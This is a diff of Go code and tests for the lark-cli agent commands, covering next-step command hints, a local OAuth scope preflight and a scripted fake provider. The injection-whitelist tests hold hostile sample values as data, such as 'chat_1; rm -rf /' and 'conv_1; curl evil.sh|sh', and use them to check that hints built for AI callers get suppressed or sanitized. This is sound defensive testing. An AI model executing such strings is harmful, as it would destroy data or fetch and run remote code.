+			task := &iagent.AgentTask{
+				TaskID:     "chat_1",
+				ContextID:  ctxID,
+				State:      state,
+				IsTerminal: state.IsTerminal(),
+			}
+			next := nextForTask("example:agent_x", task)
+			if len(next) == 0 {
+				t.Fatalf("state %s (ctx %q): legit task must produce next hints", state, ctxID)
+			}
+			for _, n := range next {
+				if state == iagent.StateAuthRequired {
+					// auth_required is an agent-side task state whose next step is
+					// the auth (re-authorize) flow, so it legitimately points OUT
+					// of the agent subtree and is not traversable against
+					// agentTree; assert its shape and skip the agent traversal.
+					if !strings.HasPrefix(n.Command, "lark-cli auth login") || !strings.Contains(n.Command, "--scope") {
+						t.Fatalf("auth_required next should point to auth login --scope, got %q", n.Command)
+					}
+					continue
+				}
+				if !strings.HasPrefix(n.Command, "lark-cli agent ") {
+					t.Fatalf("next %q must target the agent subtree", n.Command)
+				}
+				// WHEN: the command string is parsed against the real tree.
+				argv := strings.Fields(strings.TrimPrefix(n.Command, "lark-cli agent "))
+				c, flags, err := agentTree.Traverse(argv)
+				// THEN: it traverses to a leaf and its flags all exist.
+				if err != nil {
+					t.Fatalf("state %s (ctx %q): next %q not traversable: %v", state, ctxID, n.Command, err)
+				}
+				if c == agentTree {
+					t.Fatalf("state %s (ctx %q): next %q did not reach a subcommand", state, ctxID, n.Command)
+				}
+				if err := c.ParseFlags(flags); err != nil {
+					t.Fatalf("state %s (ctx %q): next %q flags invalid: %v", state, ctxID, n.Command, err)
+				}
+			}
+		}
+	}
+}
+
+// TestNextForTaskRejectsInjectionIDs pins the security whitelist: a
+// server-supplied task_id that is not pure [A-Za-z0-9_-] must suppress the
+// whole next entry (omit rather than risk injection), in every state —
+// meta.next commands are executed verbatim by AI callers, so shell
+// metacharacters in an interpolated id are command injection.
+func TestNextForTaskRejectsInjectionIDs(t *testing.T) {
+	for _, bad := range []string{"chat_1; rm -rf /", "chat `x`", "chat 1", `chat"1"`, "chat$(x)", "chat|x"} {
+		for _, state := range allTaskStates {
+			task := &iagent.AgentTask{TaskID: bad, State: state}
+			if next := nextForTask("example:agent_x", task); len(next) != 0 {
+				t.Fatalf("injection task_id %q (state %s) must suppress next, got %+v", bad, state, next)
+			}
+		}
+	}
+}
+
+// TestNextForTaskRejectsUnsafeRef pins the ref whitelist:
+// the user-echoed ref is interpolated into every next command, so a ref that
+// is not <charset>:<charset> (exactly one ':', [A-Za-z0-9_-] on both sides)
+// suppresses the whole hint — a ref with spaces/quotes would make the command
+// un-copy-pasteable at best and an injection surface at worst.
+func TestNextForTaskRejectsUnsafeRef(t *testing.T) {
+	task := &iagent.AgentTask{TaskID: "chat_1", State: iagent.StateWorking}
+	for _, bad := range []string{"example:agent x", "example:x;rm -rf /", "example", "a:b:c", "example:$(x)", `example:"x"`, ":x", "example:"} {
+		if next := nextForTask(bad, task); len(next) != 0 {
+			t.Errorf("unsafe ref %q should suppress the whole next, got %+v", bad, next)
+		}
+	}
+	if next := nextForTask("example:agent_x", task); len(next) == 0 {
+		t.Error("valid ref example:agent_x should keep next")
+	}
+}
+
+// TestNextForTaskDegradesInjectionContextID pins the context_id whitelist with
+// its degradation semantics: a legit task_id with an injection-shaped
+// context_id (input_required branch interpolates both) keeps the hint but
+// replaces the dirty id with the <context_id> placeholder — Template:true, no
+// untrusted content interpolated.
+func TestNextForTaskDegradesInjectionContextID(t *testing.T) {
+	dirty := "conv_1; curl evil.sh|sh"
+	task := &iagent.AgentTask{
+		TaskID:    "chat_1",
+		ContextID: dirty,
+		State:     iagent.StateInputRequired,
+	}
+	next := nextForTask("example:agent_x", task)
+	if len(next) != 1 {
+		t.Fatalf("dirty context_id must degrade, not drop the hint, got %+v", next)
+	}
+	if !next[0].Template {
+		t.Errorf("degraded hint must be template=true, got %+v", next[0])
+	}
+	if !strings.Contains(next[0].Command, "<context_id>") {
+		t.Errorf("degraded hint must use the <context_id> placeholder: %q", next[0].Command)
+	}
+	if strings.Contains(next[0].Command, "conv_1") {
+		t.Errorf("dirty context_id leaked into the command: %q", next[0].Command)
+	}
+}
+
+// TestNextForTaskAuthRequiredPointsToAuth pins F6: auth_required is an
+// agent-side task state (the end user must (re)authorize in the agent), NOT a
+// text-continuation like input_required. Its next must point at the auth
+// re-authorize flow (auth login --scope), never reuse the text-continuation
+// send hint.
+func TestNextForTaskAuthRequiredPointsToAuth(t *testing.T) {
+	task := &iagent.AgentTask{TaskID: "chat_1", ContextID: "conv_1", State: iagent.StateAuthRequired}
+	next := nextForTask("example:agent_x", task)
+	if len(next) != 1 {
+		t.Fatalf("auth_required should produce 1 next, got %+v", next)
+	}
+	// Must NOT be the input_required text-continuation hint.
+	if strings.Contains(next[0].Command, "agent send") || strings.Contains(next[0].Command, "--text") {
+		t.Fatalf("auth_required should not reuse the text-continuation hint, got %q", next[0].Command)
+	}
+	// Must point at the auth (re-authorize) flow.
+	if !strings.HasPrefix(next[0].Command, "lark-cli auth login") || !strings.Contains(next[0].Command, "--scope") {
+		t.Fatalf("auth_required should point to auth login --scope, got %q", next[0].Command)
+	}
+	// The concrete scopes come from the card, so the command carries a
+	// placeholder and must be marked template.
+	if !next[0].Template {
+		t.Errorf("contains a placeholder, should be Template=true, got %+v", next[0])
+	}
+}
+
+// TestNextForTaskWatchNotWait pins the flag-name fix and the bounded-watch
+// default: task get has --watch, not --wait, and the poll hint must suggest a
+// BOUNDED watch (`--watch --timeout <default>`) so an AI caller neither blocks
+// forever on a long task nor self-hammers with unbounded polls.
+func TestNextForTaskWatchNotWait(t *testing.T) {
+	next := nextForTask("example:agent_x", &iagent.AgentTask{TaskID: "chat_1", State: iagent.StateWorking})
+	if len(next) == 0 {
+		t.Fatal("working task must produce a poll next")
+	}
+	if !strings.Contains(next[0].Command, "--watch") || strings.Contains(next[0].Command, "--wait") {
+		t.Fatalf("poll next must use --watch: %+v", next)
+	}
+	wantTimeout := "--timeout " + defaultWatchTimeout.String()
+	if !strings.Contains(next[0].Command, wantTimeout) {
+		t.Fatalf("poll next must be bounded with %q, got %+v", wantTimeout, next)
+	}
+}
+
+// TestNextForTaskTemplateFlag pins the template marker semantics: the
+// input_required continue hint carries a <你的答复> placeholder, so it must be
+// marked template=true (not directly executable); poll and terminal-detail
+// hints are verbatim-executable and must not carry the marker.
+func TestNextForTaskTemplateFlag(t *testing.T) {
+	// input_required with a known context: placeholder in --text → template.
+	cont := nextForTask("example:agent_x", &iagent.AgentTask{
+		TaskID: "chat_1", ContextID: "conv_1", State: iagent.StateInputRequired,
+	})
+	if len(cont) != 1 || !cont[0].Template {
+		t.Fatalf("input_required next must be template=true, got %+v", cont)
+	}
+	// input_required without a context id: <context_id> placeholder → template.
+	contNoCtx := nextForTask("example:agent_x", &iagent.AgentTask{
+		TaskID: "chat_1", State: iagent.StateInputRequired,
+	})
+	if len(contNoCtx) != 1 || !contNoCtx[0].Template {
+		t.Fatalf("input_required (no ctx) next must be template=true, got %+v", contNoCtx)
+	}
+	// Poll and terminal-detail hints are directly executable → no template flag.
+	for _, task := range []*iagent.AgentTask{
+		{TaskID: "chat_1", State: iagent.StateWorking},
+		{TaskID: "chat_1", State: iagent.StateCompleted, IsTerminal: true},
+	} {
+		next := nextForTask("example:agent_x", task)
+		if len(next) != 1 || next[0].Template {
+			t.Fatalf("state %s next must be executable (template unset), got %+v", task.State, next)
+		}
+	}
+}

cmd/agent/preflight.go

@@ -0,0 +1,133 @@
+// Copyright (c) 2026 Lark Technologies Pte. Ltd.
+// SPDX-License-Identifier: MIT
+
+package agent
+
+import (
+	"sort"
+	"strings"
+
+	"github.com/larksuite/cli/errs"
+	iagent "github.com/larksuite/cli/internal/agent"
+	larkauth "github.com/larksuite/cli/internal/auth"
+	"github.com/larksuite/cli/internal/cmdutil"
+	"github.com/larksuite/cli/internal/core"
+)
+
+// This file implements the local scope preflight: after
+// resolveProvider succeeds and before the real API call, the stored user
+// token's scope list is checked against the provider's RequiredScopes
+// declaration. The check is all-or-nothing — any real API verb requires the
+// provider's entire scope set. It is entirely local — the scope list is read
+// from the credential cache (keychain), never from the network — so a missing
+// scope surfaces as an actionable validation error (exit 2) instead of a
+// round-trip API 99991679. `--dry-run` never reaches it (dry-run returns before
+// resolveProvider), preserving its always-available contract.
+
+// storedUserScopes is the token-scope read seam: it returns the granted scope
+// list of the stored user token from the LOCAL credential cache (keychain via
+// GetStoredToken — same read path as `auth check`), issuing no network
+// request. nil/empty means "no usable local scope list" and the caller skips
+// preflight. Tests swap it so no unit test touches the real keychain.
+var storedUserScopes = func(f *cmdutil.Factory) []string {
+	if f == nil || f.Config == nil {
+		return nil
+	}
+	config, err := f.Config()
+	if err != nil || config == nil || config.UserOpenId == "" {
+		return nil
+	}
+	stored := larkauth.GetStoredToken(config.AppID, config.UserOpenId)
+	if stored == nil {
+		return nil
+	}
+	return strings.Fields(stored.Scope)
+}
+
+// preflightInput is the pure input of preflightScopes, so the check itself is
+// unit-testable without a Factory, keychain, or provider client.
+type preflightInput struct {
+	Identity    core.Identity
+	TokenScopes []string
+	Info        iagent.ProviderInfo
+}
+
+// preflightScopes runs the local scope check. It returns nil when the check
+// does not apply — bot identity (a tenant token has no scope-list concept; the
+// API error + errclass hint own that path) or an unreadable/empty local scope
+// list (the downstream not_configured / need-authorization logic owns that).
+// The check is all-or-nothing: when any scope in the provider's RequiredScopes
+// set is not granted it returns the missing_scope permission error
+// (exit 3, mirroring the event-consume scope preflight) carrying every missing
+// scope, with a re-auth hint whose --scope
+// merges the stored grants with the provider's FULL RequiredScopes set — auth
+// login --scope REPLACES the grant, so the hint must be copy-paste-safe
+// without dropping existing permissions.
+func preflightScopes(in preflightInput) error {
+	if in.Identity != core.AsUser || len(in.TokenScopes) == 0 {
+		return nil
+	}
+
+	granted := make(map[string]bool, len(in.TokenScopes))
+	for _, s := range in.TokenScopes {
+		granted[s] = true
+	}
+
+	var missing []string
+	for _, scope := range in.Info.RequiredScopes {
+		if !granted[scope] {
+			missing = append(missing, scope)
+		}
+	}
+	if len(missing) == 0 {
+		return nil
+	}
+	sort.Strings(missing)
+
+	// Merged re-auth scope set: existing grants ∪ the provider's FULL
+	// RequiredScopes, sorted for stability.
+	mergedSet := make(map[string]bool, len(in.TokenScopes)+len(in.Info.RequiredScopes))
+	for _, s := range in.TokenScopes {
+		mergedSet[s] = true
+	}
+	for _, s := range in.Info.RequiredScopes {
+		mergedSet[s] = true
+	}
+	merged := make([]string, 0, len(mergedSet))
+	for s := range mergedSet {
+		merged = append(merged, s)
+	}
+	sort.Strings(merged)
+
+	return errs.NewPermissionError(errs.SubtypeMissingScope,
+		"当前 user 身份缺少本命令所需 scope: %s", strings.Join(missing, ", ")).
+		WithIdentity(string(core.AsUser)).
+		WithMissingScopes(missing...).
+		WithHint("一次性补齐该 agent 全部所需 scope（已合并现有授权，照抄不丢权限）: lark-cli auth login --scope \"%s\"",
+			strings.Join(merged, " "))
+}
+
+// preflightScopesForRef is the command-layer wiring: it resolves the provider
+// registration for ref's scheme, reads the stored user scopes through the
+// seam, and runs the all-or-nothing preflight. Any gap in its own inputs (nil
+// Factory, unparsable ref, unregistered scheme) yields nil — the preflight is
+// an accelerator, never a new failure mode; the paths that validate ref/scheme
+// for real have already run inside resolveProvider.
+func preflightScopesForRef(f *cmdutil.Factory, id core.Identity, ref string) error {
+	if f == nil || id != core.AsUser {
+		return nil
+	}
+	r, err := iagent.ParseRef(ref)
+	if err != nil {
+		return nil //nolint:nilerr // preflight is best-effort: resolveProvider already surfaced any real ref error
+	}
+	info, ok := iagent.Info(r.Scheme)
+	if !ok {
+		return nil
+	}
+	return preflightScopes(preflightInput{
+		Identity:    id,
+		TokenScopes: storedUserScopes(f),
+		Info:        info,
+	})
+}

cmd/agent/preflight_test.go

@@ -0,0 +1,365 @@
+// Copyright (c) 2026 Lark Technologies Pte. Ltd.
+// SPDX-License-Identifier: MIT
+
+package agent
+
+import (
+	"context"
+	"errors"
+	"reflect"
+	"strings"
+	"testing"
+
+	"github.com/spf13/cobra"
+
+	"github.com/larksuite/cli/errs"
+	iagent "github.com/larksuite/cli/internal/agent"
+	"github.com/larksuite/cli/internal/cmdutil"
+	"github.com/larksuite/cli/internal/core"
+	"github.com/larksuite/cli/internal/httpmock"
+	"github.com/larksuite/cli/internal/output"
+)
+
+// scopedInfo fetches the registered fakescoped ProviderInfo (4 RequiredScopes,
+// see scripted_provider_test.go) — the all-or-nothing preflight requires every
+// one of fakescopedAllScopes for any real API verb.
+func scopedInfo(t *testing.T) iagent.ProviderInfo {
+	t.Helper()
+	registerScripted()
+	info, ok := iagent.Info("fakescoped")
+	if !ok {
+		t.Fatal("fakescoped provider should be registered")
+	}
+	return info
+}
+
+// requirePreflightError asserts err is the missing_scope permission error
+// (exit 3, mirroring the event-consume scope preflight) and returns the typed
+// value for field assertions.
+func requirePreflightError(t *testing.T, err error) *errs.PermissionError {
+	t.Helper()
+	if err == nil {
+		t.Fatal("want missing_scope error, got nil")
+	}
+	var pe *errs.PermissionError
+	if !errors.As(err, &pe) {
+		t.Fatalf("want *errs.PermissionError, got %T: %v", err, err)
+	}
+	if pe.Subtype != errs.SubtypeMissingScope {
+		t.Fatalf("subtype should be missing_scope, got %q", pe.Subtype)
+	}
+	if code := output.ExitCodeOf(err); code != 3 {
+		t.Fatalf("exit code should be 3, got %d", code)
+	}
+	return pe
+}
+
+// TestPreflightReportsAllMissingWithMergedHint is the all-or-nothing pin: the
+// check is all-or-nothing, so a user token holding only some of the provider's scopes fails
+// with EVERY missing scope named (sorted) in both the message and
+// missing_scopes, and a re-auth hint that merges the stored token scopes with
+// the provider's FULL RequiredScopes set (sorted, so re-running the login
+// command never drops an existing grant).
+func TestPreflightReportsAllMissingWithMergedHint(t *testing.T) {
+	err := preflightScopes(preflightInput{
+		Identity:    core.AsUser,
+		TokenScopes: []string{"im:message", "fakescoped:agent_chat:write"},
+		Info:        scopedInfo(t),
+	})
+	ve := requirePreflightError(t, err)
+
+	wantMissing := []string{"fakescoped:agent_artifact:read", "fakescoped:agent_attachment:write", "fakescoped:agent_chat:read"}
+	if !strings.Contains(ve.Message, "当前 user 身份缺少本命令所需 scope: "+strings.Join(wantMissing, ", ")) {
+		t.Errorf("message should list all missing scopes, got %q", ve.Message)
+	}
+	if !reflect.DeepEqual(ve.MissingScopes, wantMissing) {
+		t.Errorf("missing_scopes should be %v (all missing, stable sort), got %v", wantMissing, ve.MissingScopes)
+	}
+	// Merged hint: existing token scopes ∪ FULL provider RequiredScopes, sorted.
+	wantScopeArg := `lark-cli auth login --scope "fakescoped:agent_artifact:read fakescoped:agent_attachment:write fakescoped:agent_chat:read fakescoped:agent_chat:write im:message"`
+	if !strings.Contains(ve.Hint, wantScopeArg) {
+		t.Errorf("hint should contain the merged full-scope command %q, got %q", wantScopeArg, ve.Hint)
+	}
+}
+
+// TestPreflightBotSkipped pins that a bot token has no scope list concept, so
+// preflight is skipped entirely regardless of TokenScopes.
+func TestPreflightBotSkipped(t *testing.T) {
+	err := preflightScopes(preflightInput{
+		Identity:    core.AsBot,
+		TokenScopes: nil,
+		Info:        scopedInfo(t),
+	})
+	if err != nil {
+		t.Fatalf("bot identity should skip preflight, got %v", err)
+	}
+}
+
+// TestPreflightNoTokenScopesReturnsNil pins that no local token (or a token
+// without a scope list) yields nil so the downstream not_configured /
+// need-authorization path owns the error.
+func TestPreflightNoTokenScopesReturnsNil(t *testing.T) {
+	err := preflightScopes(preflightInput{
+		Identity:    core.AsUser,
+		TokenScopes: nil,
+		Info:        scopedInfo(t),
+	})
+	if err != nil {
+		t.Fatalf("no token scope list should return nil, got %v", err)
+	}
+}
+
+// TestPreflightAllScopesPresent pins the happy path: a token carrying all four
+// fakescoped scopes passes the all-or-nothing check.
+func TestPreflightAllScopesPresent(t *testing.T) {
+	if err := preflightScopes(preflightInput{
+		Identity: core.AsUser, TokenScopes: fakescopedAllScopes, Info: scopedInfo(t),
+	}); err != nil {
+		t.Errorf("should pass when all scopes present, got %v", err)
+	}
+}
+
+// TestPreflightMissingAnyScopeFails pins the all-or-nothing rule: a token that
+// is missing even a single scope fails, and the reported missing set is exactly
+// the scopes it lacks (not just this-verb scopes — the per-verb concept is
+// gone).
+func TestPreflightMissingAnyScopeFails(t *testing.T) {
+	// Missing exactly one scope (attachment) → that one scope is reported.
+	ve := requirePreflightError(t, preflightScopes(preflightInput{
+		Identity: core.AsUser,
+		TokenScopes: []string{
+			"fakescoped:agent_chat:write", "fakescoped:agent_chat:read", "fakescoped:agent_artifact:read",
+		},
+		Info: scopedInfo(t),
+	}))
+	if !reflect.DeepEqual(ve.MissingScopes, []string{"fakescoped:agent_attachment:write"}) {
+		t.Errorf("when only attachment is missing, missing_scopes should be [fakescoped:agent_attachment:write], got %v", ve.MissingScopes)
+	}
+
+	// Only the write scope → the other three are all reported.
+	ve = requirePreflightError(t, preflightScopes(preflightInput{
+		Identity: core.AsUser, TokenScopes: []string{"fakescoped:agent_chat:write"}, Info: scopedInfo(t),
+	}))
+	wantMissing := []string{"fakescoped:agent_artifact:read", "fakescoped:agent_attachment:write", "fakescoped:agent_chat:read"}
+	if !reflect.DeepEqual(ve.MissingScopes, wantMissing) {
+		t.Errorf("with only the write scope, missing_scopes should be %v, got %v", wantMissing, ve.MissingScopes)
+	}
+}
+
+// ---------------------------------------------------------------------------
+// Command wiring: each verb runs preflight after resolveProvider and before
+// any real API call. The stored-scope read goes through the storedUserScopes
+// seam so no test touches the real keychain; zero httpmock stubs are
+// registered, so any HTTP request would fail the test with a transport error
+// instead of the asserted missing_scope.
+// ---------------------------------------------------------------------------
+
+// swapStoredScopes swaps the storedUserScopes seam for the test's scope list.
+func swapStoredScopes(t *testing.T, scopes []string) {
+	t.Helper()
+	old := storedUserScopes
+	storedUserScopes = func(*cmdutil.Factory) []string { return scopes }
+	t.Cleanup(func() { storedUserScopes = old })
+}
+
+// userLeafCmd builds a leaf command under lark-cli/agent/... with --as
+// explicitly set to user so ResolveAs honors it verbatim.
+func userLeafCmd(t *testing.T, names ...string) *cobra.Command {
+	t.Helper()
+	parent := &cobra.Command{Use: "lark-cli"}
+	for _, name := range names {
+		child := &cobra.Command{Use: name}
+		parent.AddCommand(child)
+		parent = child
+	}
+	parent.Flags().String("as", "", "identity")
+	if err := parent.Flags().Set("as", "user"); err != nil {
+		t.Fatal(err)
+	}
+	parent.SetContext(context.Background())
+	return parent
+}
+
+// userFactory builds a test Factory + registry for a user-identity run.
+func userFactory(t *testing.T) (*cmdutil.Factory, *httpmock.Registry) {
+	t.Helper()
+	f, _, _, reg := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
+	return f, reg
+}
+
+// TestSendPreflightBlocksMissingScope pins the send wiring: a user token that
+// holds none of the provider's scopes fails with missing_scope
+// (reporting the full set) and no request.
+func TestSendPreflightBlocksMissingScope(t *testing.T) {
+	swapStoredScopes(t, []string{"im:message"})
+	f, _ := userFactory(t)
+	err := agentSendRun(&sendOptions{
+		Factory: f, Cmd: userLeafCmd(t, "agent", "send"),
+		Ref: "fakescoped:agt_x", Text: "hi", As: "user",
+	})
+	ve := requirePreflightError(t, err)
+	if !reflect.DeepEqual(ve.MissingScopes, fakescopedAllScopes) {
+		t.Errorf("with no provider scope, send should report all missing %v, got %v", fakescopedAllScopes, ve.MissingScopes)
+	}
+}
+
+// TestSendPreflightPartialTokenBlocked pins that a partial token (write only)
+// still fails the all-or-nothing check, reporting the three scopes it lacks.
+func TestSendPreflightPartialTokenBlocked(t *testing.T) {
+	swapStoredScopes(t, []string{"fakescoped:agent_chat:write"})
+	f, _ := userFactory(t)
+	err := agentSendRun(&sendOptions{
+		Factory: f, Cmd: userLeafCmd(t, "agent", "send"),
+		Ref: "fakescoped:agt_x", Text: "hi", As: "user",
+	})
+	ve := requirePreflightError(t, err)
+	wantMissing := []string{"fakescoped:agent_artifact:read", "fakescoped:agent_attachment:write", "fakescoped:agent_chat:read"}
+	if !reflect.DeepEqual(ve.MissingScopes, wantMissing) {
+		t.Errorf("write-only token should report missing %v, got %v", wantMissing, ve.MissingScopes)
+	}
+}
+
+// TestSendDryRunSkipsPreflight pins that --dry-run stays API-free AND
+// scope-free — it succeeds even when the token has none of the provider scopes.
+func TestSendDryRunSkipsPreflight(t *testing.T) {
+	swapStoredScopes(t, []string{"im:message"})
+	f, _ := userFactory(t)
+	err := agentSendRun(&sendOptions{
+		Factory: f, Cmd: userLeafCmd(t, "agent", "send"),
+		Ref: "fakescoped:agt_x", Text: "hi", As: "user", DryRun: true,
+	})
+	if err != nil {
+		t.Fatalf("--dry-run should not run scope preflight: %v", err)
+	}
+}
+
+// TestTaskGetPreflightBlocksMissingScope pins the task get wiring.
+func TestTaskGetPreflightBlocksMissingScope(t *testing.T) {
+	swapStoredScopes(t, []string{"fakescoped:agent_chat:write"})
+	f, _ := userFactory(t)
+	err := agentTaskGetRun(&taskOptions{
+		Factory: f, Cmd: userLeafCmd(t, "agent", "task", "get"),
+		Ref: "fakescoped:agt_x", TaskID: "t1", As: "user",
+	})
+	ve := requirePreflightError(t, err)
+	if !contains(ve.MissingScopes, "fakescoped:agent_chat:read") {
+		t.Errorf("task get missing scope should include fakescoped:agent_chat:read, got %v", ve.MissingScopes)
+	}
+}
+
+// TestTaskGetArtifactPreflightFires pins the --artifact download wiring
+// (resolveDownload path): it too runs the all-or-nothing preflight before the
+// API call.
+func TestTaskGetArtifactPreflightFires(t *testing.T) {
+	swapStoredScopes(t, []string{"fakescoped:agent_chat:read"})
+	f, _ := userFactory(t)
+	err := agentTaskGetRun(&taskOptions{
+		Factory: f, Cmd: userLeafCmd(t, "agent", "task", "get"),
+		Ref: "fakescoped:agt_x", TaskID: "t1", As: "user",
+		ArtifactID: "art_1", Output: "out.bin",
+	})
+	ve := requirePreflightError(t, err)
+	if !contains(ve.MissingScopes, "fakescoped:agent_artifact:read") {
+		t.Errorf("task get --artifact missing scope should include fakescoped:agent_artifact:read, got %v", ve.MissingScopes)
+	}
+}
+
+// TestTaskListPreflightBlocksMissingScope pins the task list wiring.
+func TestTaskListPreflightBlocksMissingScope(t *testing.T) {
+	swapStoredScopes(t, []string{"fakescoped:agent_chat:write"})
+	f, _ := userFactory(t)
+	err := agentTaskListRun(&taskOptions{
+		Factory: f, Cmd: userLeafCmd(t, "agent", "task", "list"),
+		Ref: "fakescoped:agt_x", As: "user",
+	})
+	requirePreflightError(t, err)
+}
+
+// TestContextVerbsPreflightBlocksMissingScope pins the context list/get/delete
+// wiring: all three run the all-or-nothing preflight.
+func TestContextVerbsPreflightBlocksMissingScope(t *testing.T) {
+	runs := []struct {
+		name string
+		run  func(f *cmdutil.Factory) error
+	}{
+		{"list", func(f *cmdutil.Factory) error {
+			return agentContextListRun(&contextOptions{
+				Factory: f, Cmd: userLeafCmd(t, "agent", "context", "list"),
+				Ref: "fakescoped:agt_x", As: "user", Format: "pretty",
+			})
+		}},
+		{"get", func(f *cmdutil.Factory) error {
+			return agentContextGetRun(&contextOptions{
+				Factory: f, Cmd: userLeafCmd(t, "agent", "context", "get"),
+				Ref: "fakescoped:agt_x", CtxID: "ctx_1", As: "user",
+			})
+		}},
+		{"delete", func(f *cmdutil.Factory) error {
+			return agentContextDeleteRun(&contextOptions{
+				Factory: f, Cmd: userLeafCmd(t, "agent", "context", "delete"),
+				Ref: "fakescoped:agt_x", CtxID: "ctx_1", As: "user", Yes: true,
+			})
+		}},
+	}
+	for _, tc := range runs {
+		t.Run(tc.name, func(t *testing.T) {
+			swapStoredScopes(t, []string{"fakescoped:agent_chat:write"})
+			f, _ := userFactory(t)
+			requirePreflightError(t, tc.run(f))
+		})
+	}
+}
+
+// TestSendPreflightPassesWithScopeAndSends pins that a token holding the full
+// provider scope set lets the real send proceed (the scripted Send hook fires,
+// proving preflight did not false-positive).
+func TestSendPreflightPassesWithScopeAndSends(t *testing.T) {
+	swapStoredScopes(t, fakescopedAllScopes)
+	f, _ := userFactory(t)
+	sent := false
+	setScripted(t, scriptedHooks{send: func(iagent.SendInput) (*iagent.AgentTask, error) {
+		sent = true
+		return &iagent.AgentTask{TaskID: "chat_1", ContextID: "sess_1", State: iagent.StateWorking}, nil
+	}})
+	err := agentSendRun(&sendOptions{
+		Factory: f, Cmd: userLeafCmd(t, "agent", "send"),
+		Ref: "fakescoped:agt_x", Text: "hi", As: "user",
+	})
+	if err != nil {
+		t.Fatalf("a send with all scopes should pass preflight and send: %v", err)
+	}
+	if !sent {
+		t.Fatal("provider.Send should actually be called after preflight passes")
+	}
+}
+
+// TestTaskCancelPreflightWired pins the task cancel wiring: the capability
+// gate (fakescoped card declares task_cancel=false) answers before
+// provider/preflight, so a scope-missing user token yields
+// unsupported_capability, not missing_scope — proving the wired
+// preflight does not change the gate-first ordering.
+func TestTaskCancelPreflightWired(t *testing.T) {
+	swapStoredScopes(t, []string{"im:message"})
+	f, _ := userFactory(t)
+	err := agentTaskCancelRun(&taskOptions{
+		Factory: f, Cmd: userLeafCmd(t, "agent", "task", "cancel"),
+		Ref: "fakescoped:agt_x", TaskID: "t1", As: "user",
+	})
+	if err == nil {
+		t.Fatal("task cancel with task_cancel=false should be blocked by the capability gate")
+	}
+	p, ok := errs.ProblemOf(err)
+	if !ok || p.Subtype != errs.Subtype("unsupported_capability") {
+		t.Fatalf("want unsupported_capability (capability gate answers first), got %+v", p)
+	}
+}
+
+// contains reports whether s appears in the slice.
+func contains(ss []string, s string) bool {
+	for _, x := range ss {
+		if x == s {
+			return true
+		}
+	}
+	return false
+}

cmd/agent/register_test.go

@@ -0,0 +1,10 @@
+// Copyright (c) 2026 Lark Technologies Pte. Ltd.
+// SPDX-License-Identifier: MIT
+
+package agent
+
+// The example provider self-registers via init(); in production it is pulled in
+// by the top-level agent package (blank-imported from cmd/build.go), not by
+// cmd/agent. Several tests here exercise the real example scheme (example:echo /
+// example:reporter), so register it explicitly for the test binary.
+import _ "github.com/larksuite/cli/agent/example"

cmd/agent/scripted_provider_test.go

@@ -0,0 +1,146 @@
+// Copyright (c) 2026 Lark Technologies Pte. Ltd.
+// SPDX-License-Identifier: MIT
+
+package agent
+
+import (
+	"context"
+	"sync"
+	"testing"
+
+	iagent "github.com/larksuite/cli/internal/agent"
+)
+
+// scriptedHooks scripts a fake provider's behavior per test. Each hook maps to
+// one Provider func field; an unset hook that gets called panics — a tripwire
+// against a test reaching an unexpected provider path. This replaces the old
+// pattern of driving the (removed) real-OAPI adapter through httpmock stubs:
+// the command-layer contracts under test (envelope shape, watch exit codes,
+// meta.next, pretty rendering, error propagation) are provider-neutral.
+type scriptedHooks struct {
+	send             func(in iagent.SendInput) (*iagent.AgentTask, error)
+	getTask          func(taskID string) (*iagent.AgentTask, error)
+	listTasks        func(contextID string) ([]iagent.TaskSummary, error)
+	listContexts     func() ([]iagent.ContextSummary, error)
+	getContext       func(ctxID string) (*iagent.ContextDetail, error)
+	deleteContext    func(ctxID string) error
+	downloadArtifact func(taskID, artifactID string) (*iagent.ArtifactData, error)
+}
+
+// scripted is the package-level hook set shared by every scripted provider
+// instance (the registry factory cannot be re-pointed per test, the hooks can).
+var scripted scriptedHooks
+
+// setScripted installs the hooks for one test and restores the empty (panic
+// tripwire) set on cleanup.
+func setScripted(t *testing.T, h scriptedHooks) {
+	t.Helper()
+	scripted = h
+	t.Cleanup(func() { scripted = scriptedHooks{} })
+}
+
+// newScriptedProvider builds a scripted *Provider. Its capability surface is
+// fixed by which fields are wired (the framework derives the card from this):
+// CancelTask is deliberately left unwired so task_cancel=false (the command
+// layer's cancel gate is exercised via example:echo); everything else the
+// command tests drive is wired, and FileInput=true so the --file gate/confirm
+// path is reachable. Each wired func delegates to the per-test hook and panics
+// if that hook was not set (tripwire against an unexpected provider path).
+func newScriptedProvider() *iagent.Provider {
+	return &iagent.Provider{
+		Send: func(ctx context.Context, in iagent.SendInput) (*iagent.AgentTask, error) {
+			if scripted.send == nil {
+				panic("scripted provider: Send hook not set")
+			}
+			return scripted.send(in)
+		},
+		GetTask: func(ctx context.Context, taskID string) (*iagent.AgentTask, error) {
+			if scripted.getTask == nil {
+				panic("scripted provider: GetTask hook not set")
+			}
+			return scripted.getTask(taskID)
+		},
+		ListTasks: func(ctx context.Context, contextID string) ([]iagent.TaskSummary, error) {
+			if scripted.listTasks == nil {
+				panic("scripted provider: ListTasks hook not set")
+			}
+			return scripted.listTasks(contextID)
+		},
+		ListContexts: func(ctx context.Context) ([]iagent.ContextSummary, error) {
+			if scripted.listContexts == nil {
+				panic("scripted provider: ListContexts hook not set")
+			}
+			return scripted.listContexts()
+		},
+		GetContext: func(ctx context.Context, ctxID string) (*iagent.ContextDetail, error) {
+			if scripted.getContext == nil {
+				panic("scripted provider: GetContext hook not set")
+			}
+			return scripted.getContext(ctxID)
+		},
+		DeleteContext: func(ctx context.Context, ctxID string) error {
+			if scripted.deleteContext == nil {
+				panic("scripted provider: DeleteContext hook not set")
+			}
+			return scripted.deleteContext(ctxID)
+		},
+		DownloadArtifact: func(ctx context.Context, taskID, artifactID string) (*iagent.ArtifactData, error) {
+			if scripted.downloadArtifact == nil {
+				panic("scripted provider: DownloadArtifact hook not set")
+			}
+			return scripted.downloadArtifact(taskID, artifactID)
+		},
+		FileInput: true,
+	}
+}
+
+// fakescopedAllScopes is the full RequiredScopes set of the fakescoped test
+// provider, sorted — the all-or-nothing preflight requires every one of these
+// for any real API verb.
+var fakescopedAllScopes = []string{
+	"fakescoped:agent_artifact:read",
+	"fakescoped:agent_attachment:write",
+	"fakescoped:agent_chat:read",
+	"fakescoped:agent_chat:write",
+}
+
+// fakeflowAgentIDSource is the AgentIDSource text of the fakeflow provider —
+// the non-enumerable `agent list <scheme>` error surfaces it as the hint.
